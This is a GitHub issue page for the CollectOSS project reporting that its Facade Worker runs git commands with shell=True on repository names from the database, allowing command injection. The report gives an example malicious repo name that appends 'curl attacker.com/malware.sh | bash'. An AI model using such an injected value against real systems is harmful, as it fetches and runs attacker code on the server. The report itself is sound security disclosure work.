chaoss / chaoss/CollectOSS

shell=True could lead to injection in Facade Worker

Open
#170 2 comments 0 reactions 0 assignees View on GitHub
security task:facade
Dominant language
Python
Stars
13
Forks
17
Avg merge
6h 59m
Merged PRs (30d)
1

Description

> [!NOTE]
> Migrated from [augurlabs/augur#3577](https://github.com/augurlabs/augur/issues/3577)
> Originally opened by `@guptapratykshh` on 2026-01-15

---

our facade worker executes git commands using shell=True with repository data from the database. this means if someone adds a malicious repo name like-

innocent-repo, curl attacker.com/malware.sh | bash
our server will execute both git command and malicious code.

it is present in config.py (line 285)
function- run_git_command(), called from- repofetch.py and other facade operations

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.